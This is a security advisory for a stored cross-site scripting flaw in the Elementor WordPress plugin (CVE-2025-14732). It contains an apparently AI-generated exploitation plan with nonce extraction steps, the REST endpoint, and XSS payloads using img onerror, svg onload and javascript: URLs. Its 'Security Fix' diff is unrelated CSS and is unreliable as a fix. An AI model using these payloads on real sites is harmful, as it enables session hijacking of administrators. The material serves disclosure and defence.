Elementor Website Builder <= 3.35.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API
Description
The Elementor Website Builder – More Than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several widget parameters in all versions up to, and including, 3.35.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.35.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14732 ## 1. Vulnerability Summary **CVE-2025-14732** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Elementor Website Builder** plugin (versions <= 3.35.5). The vulnerability arises from improper neutralization of "alternate XSS syntax" (e.g., H…
Show full research plan
Exploitation Research Plan: CVE-2025-14732
1. Vulnerability Summary
CVE-2025-14732 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin (versions <= 3.35.5). The vulnerability arises from improper neutralization of "alternate XSS syntax" (e.g., HTML event handlers, SVG tags, or Unicode-escaped characters) within widget parameters saved via the Elementor REST API.
While Elementor performs sanitization on common tags like <script>, it fails to sufficiently sanitize or escape input for certain widget settings when saved through its internal REST API. This allows an authenticated user with at least Contributor-level access to inject malicious scripts into a page's metadata. When that page is viewed by other users (including administrators), the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint:
/wp-json/elementor/v1/editor/save-builder-data(inferred from Elementor REST API architecture). - Method:
POST - Vulnerable Parameter: The
dataparameter within the JSON payload, specifically settings within widget definitions (e.g.,heading,button,icon-box). - Authentication: Requires a user with
Contributorrole or higher who has permission to edit the specific post/page. - Preconditions: Elementor must be active on the target post type.
3. Code Flow
- Entry Point: The user interacts with the Elementor Editor. When "Update" or "Save" is clicked, the JS client sends a request to the REST API route
elementor/v1/editor/save-builder-data. - Server-Side Processing: The request is handled by Elementor's REST controller. It receives a JSON-encoded string representing the layout (sections, columns, widgets).
- Vulnerable Sink: The plugin processes the
settingsobject for each widget. It uses internal sanitization methods (often found inCore\Base\Document::save_data). If the input contains "alternate syntax" (like event handlers in an<img>tag or encoded payloads), it bypasses the filters. - Storage: The unsanitized/partially sanitized data is stored in the WordPress database as post metadata under the key
_elementor_data. - Execution: When the page is rendered on the frontend or re-loaded in the editor, Elementor's rendering engine outputs the malicious settings. If the widget renderer does not use proper escaping (like
esc_attr()orwp_kses()) for the specific setting, the script triggers.
4. Nonce Acquisition Strategy
Elementor requires a REST API nonce for its editor operations. This nonce is typically localized and provided to the browser when the editor loads.
- Target Page: A page or post where Elementor is enabled.
- JavaScript Variable:
window.elementorConfig.ajax.nonceorwindow.elementorCommon.config.ajax.nonce. - Acquisition Steps:
- Create a post as a Contributor.
- Enable Elementor for that post.
- Navigate to the Elementor Editor URL for that post:
wp-admin/post.php?post=[ID]&action=elementor. - Use
browser_evalto extract the nonce:browser_eval("window.elementorConfig?.ajax?.nonce || window.elementorCommon?.config?.ajax?.nonce")
5. Exploitation Strategy
The goal is to send a manual REST API request to save malicious widget data.
Step 1: Authentication & Setup
- Log in as a Contributor.
- Identify a Post ID (
target_post_id) the contributor can edit.
Step 2: Nonce Extraction
- Navigate to the Elementor editor for the post.
- Extract the nonce using the method in Section 4.
Step 3: Crafting the Payload
The payload must be a JSON array of Elementor elements. We will target the heading widget as it is a standard component.
Payload JSON (data parameter):
[
{
"id": "exploit-id",
"elType": "widget",
"widgetType": "heading",
"settings": {
"title": "<img src=x onerror=alert('CVE-2025-14732')>",
"size": "default"
},
"elements": [],
"isInner": false
}
]
Step 4: HTTP Request (using http_request)
URL: https://[TARGET]/wp-json/elementor/v1/editor/save-builder-data
Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]Cookie: [CONTRIBUTOR_COOKIES]
Body:
{
"post_id": target_post_id,
"data": "[{\"id\":\"exploit-id\",\"elType\":\"widget\",\"widgetType\":\"heading\",\"settings\":{\"title\":\"<img src=x onerror=alert('CVE-2025-14732')>\"},\"elements\":[],\"isInner\":false}]"
}
6. Test Data Setup
- User: Create a user
attackerwith thecontributorrole. - Post: Create a post titled "XSS Test" by
attacker. - Elementor Enablement: Ensure Elementor is active for the "post" post type.
7. Expected Results
- REST Response: The server should return
200 OKwith a JSON body indicating success (e.g.,{"success": true, "data": []}). - Frontend Execution: When an administrator visits
https://[TARGET]/?p=[target_post_id], an alert box withCVE-2025-14732will appear. - Editor Execution: When the administrator opens the post in the Elementor editor, the script will also trigger.
8. Verification Steps
- Check Database: Use WP-CLI to verify the stored metadata:
Confirm the payloadwp post meta get [target_post_id] _elementor_data<img src=x onerror=...>exists in the output. - Verify Payload Rendering: Check the HTML source of the post frontend:
Search for the injectedhttp_request "https://[TARGET]/?p=[target_post_id]"<img>tag in the response body.
9. Alternative Approaches
If the standard <img> tag is blocked by a global WAF or internal Elementor filter, use "alternate syntax":
- SVG-based Payload:
"title": "<svg/onload=alert(1)>" - Unicode Escaping (if the API parses JSON twice):
"title": "\u003cimg src=x onerror=alert(1)\u003e" - Attribute Injection:
Instead of thetitleparameter, target a URL parameter that might be placed inside an attribute:"link": {"url": "javascript:alert(1)", "is_external": "", "nofollow": ""}
(Note:esc_urlusually blocksjavascript:, but some widget attributes might useesc_attrinstead).
Summary
The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widget parameters in versions up to 3.35.5. Authenticated attackers with Contributor-level access or higher can inject arbitrary scripts into page metadata through the Elementor REST API by using alternate XSS syntax that bypasses existing sanitization filters.
Vulnerable Code
// Inferred vulnerable sink in Elementor's REST API processing // core/base/document.php or similar REST controller public function save_data( $data ) { // The plugin receives a JSON payload representing the page layout // and fails to sufficiently sanitize widget settings (e.g., 'title' for a heading widget) // if alternate syntax like HTML event handlers or SVG tags are used. $processed_data = $this->process_editor_data( $data ); // Data is stored in post metadata without robust validation against event handlers update_post_meta( $this->get_main_id(), '_elementor_data', $processed_data ); }
Security Fix
@@ -2271,6 +2271,46 @@ font-weight: 500; } +#e-dashboard-ally .ui-sortable-handle { + justify-content: flex-start; + gap: 8px; +} + +#dashboard-widgets .e-dashboard-ally { + padding: 28px 0; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-img { + text-align: center; + margin-block-end: 16px; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-info { + display: flex; + flex-direction: column; + align-items: center; + text-align: center; + margin-block-end: 20px; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-title { + font-size: 20px; + line-height: 32px; + color: #0C0D0E; + margin-block-end: 0; +} +#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-description { + max-width: 295px; + font-size: 14px; + line-height: 20px; + color: #3F444B; + margin: 0 0 16px; +} + +label[for=e-dashboard-ally-hide] svg { + display: inline-block; + vertical-align: middle; + margin-inline-end: 4px; + margin-block-end: 2px; +} + .post-type-elementor_library #elementor-template-library-tabs-wrapper { padding-block-start: 2em; margin-block-end: 2em;
Exploit Outline
1. Authenticate as a user with Contributor-level permissions or higher. 2. Access the Elementor Editor for a post or page the user has permission to edit (e.g., `wp-admin/post.php?post=[ID]&action=elementor`). 3. Extract the REST API nonce from the browser environment using `window.elementorConfig.ajax.nonce`. 4. Craft a malicious JSON payload representing an Elementor widget (e.g., a 'heading' widget) where a setting like 'title' contains an XSS payload using alternate syntax (e.g., `<img src=x onerror=alert(1)>` or `<svg/onload=alert(1)>`). 5. Send a POST request to the endpoint `/wp-json/elementor/v1/editor/save-builder-data` with the `post_id` and the malicious JSON stringified in the `data` parameter, including the `X-WP-Nonce` header. 6. The payload is stored in the `_elementor_data` post meta. It will execute whenever an administrator or any other user views the affected page or opens it in the Elementor editor.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.